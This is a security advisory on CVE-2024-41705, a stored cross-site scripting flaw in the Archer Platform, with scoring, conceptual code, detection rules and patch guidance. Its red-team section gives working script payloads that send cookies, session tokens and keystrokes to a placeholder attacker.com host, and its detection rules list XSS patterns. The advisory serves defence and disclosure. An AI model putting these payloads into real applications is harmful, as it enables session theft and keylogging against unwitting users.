CVE-2024-41705

Executive Summary

CVE-2024-41705 is a stored cross-site scripting (XSS) vulnerability in the Archer Platform, affecting versions 6.8 through 6.13 and 6.14 prior to specific patch releases. An authenticated remote attacker can inject malicious HTML or JavaScript into a trusted application data store. When other users access this data store via their browsers, the injected code executes in the context of the vulnerable application, potentially leading to data theft, session hijacking, or further compromise. The vulnerability is similar to CVE-2023-30639 but is distinct. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant due to the authenticated nature and potential for lateral movement.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a proprietary enterprise application vulnerability in the Archer Platform.

CVSS Breakdown & Threat Level

• CVSS Score: 7.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – attacker must be authenticated
• User Interaction: Required (UI:R) – victim must access the malicious data store
• Scope: Changed (S:C) – impact extends beyond the vulnerable component
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: High. While the CVSS score is 7.1, the requirement for authentication and user interaction reduces the immediate threat. However, in an enterprise environment where many users have access to shared data stores, the potential for widespread impact is significant.

Deep Dive & Mechanics

The vulnerability resides in the Archer Platform's data store functionality. The application fails to properly sanitize user-supplied input before storing it in a trusted data store. When a victim user retrieves and views this data through their browser, the malicious HTML or JavaScript is executed.

Root Cause: Insufficient input validation and output encoding. The application does not escape or sanitize HTML/JavaScript content before storing it, and when rendering the data, it does not apply context-appropriate encoding.

Attack Flow:

1. Attacker authenticates to the Archer Platform.
2. Attacker crafts a malicious payload (e.g., <script>alert('XSS')</script>) and submits it to a data store field.
3. The application stores the payload without sanitization.
4. A victim user navigates to the data store and views the attacker's entry.
5. The victim's browser executes the malicious script in the context of the Archer application.

Similarity to CVE-2023-30639: Both are stored XSS in Archer Platform, but CVE-2024-41705 affects different versions and may involve different data store components.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: Directly stores user input without sanitization
function saveData(userInput) {
    database.store(userInput);
}

// Vulnerable: Renders stored data without encoding
function renderData(storedData) {
    document.getElementById('output').innerHTML = storedData;
}

Patched Code (Conceptual):

// Patched: Sanitize input before storing
function saveData(userInput) {
    var sanitized = sanitizeHtml(userInput);
    database.store(sanitized);
}

// Patched: Encode output when rendering
function renderData(storedData) {
    var encoded = encodeHtml(storedData);
    document.getElementById('output').textContent = encoded;
}

Key Differences:

• Input sanitization: The patched version uses a sanitization function (e.g., DOMPurify) to remove malicious content.
• Output encoding: The patched version uses textContent instead of innerHTML to prevent script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid authenticated session on Archer Platform (version 6.8 to 6.13/6.14 pre-patch).
• Access to a data store field that accepts and renders user input.

Exploitation Steps:

1. Log in to the Archer Platform.
2. Navigate to a data store that allows user input (e.g., a custom field in a record).
3. Inject the following payload into the field:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the record.
5. Wait for a victim user to view the record. The script will execute and exfiltrate cookies.

Alternative Payloads:

• Session hijacking: <script>new Image().src='https://attacker.com/steal?session='+document.cookie</script>
• Keylogging: <script>document.onkeypress=function(e){fetch('https://attacker.com/key?k='+e.key)}</script>

Blue Team

Detection Steps:

1. Monitor for unusual data store entries containing HTML/JavaScript tags.
2. Review web application logs for requests with suspicious payloads in data store fields.
3. Use WAF rules to block common XSS patterns (e.g., <script>, onerror=, javascript:).

Hunting Queries:

• Search for records containing <script> tags in data store fields.
• Look for outbound connections to unknown domains from the Archer server.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to attacker-controlled domains from the Archer server.
  • Unusual DNS queries for domains not typically accessed by the organization.
• File IOCs:
  • Log entries containing <script> or onerror= in data store fields.
• Behavioral IOCs:
  • Multiple users reporting unexpected pop-ups or redirects when viewing specific records.
  • Unauthorized changes to data store records by authenticated users.

Detection Engineering

YARA Rule

rule CVE_2024_41705_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Archer Platform data stores"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-41705"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
        $xss4 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in Archer Platform Data Store
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential stored XSS attempts in Archer Platform data store fields
author: Valters IT
date: 2024-10-27
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-41705
logsource:
    category: web_application
    product: archer
detection:
    selection:
        http_method: POST
        url_path: /data/store/save
        body|contains:
            - '<script'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in data store fields (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-41705 Stored XSS Payload in Archer Data Store"; flow:to_server,established; content:"POST"; http_method; content:"/data/store/save"; http_uri; pcre:"/(<script|onerror=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade to Archer Platform 6.13 P4 (6.13.0.4) or 6.14 P4 (6.14.0.4) or later.
2. If immediate patching is not possible, implement a Web Application Firewall (WAF) rule to block common XSS patterns.
3. Restrict access to data store fields to only trusted users.

Long-term Measures:

1. Implement input validation and output encoding for all user-supplied data.
2. Conduct regular security code reviews and penetration testing.
3. Enable Content Security Policy (CSP) headers to mitigate XSS impact.
4. Monitor for similar vulnerabilities (e.g., CVE-2023-30639) and apply patches promptly.

Workaround:

• Disable HTML rendering in data store fields if possible.
• Use a reverse proxy to sanitize responses before they reach the browser.

Valters IT
Securing Digital Frontiers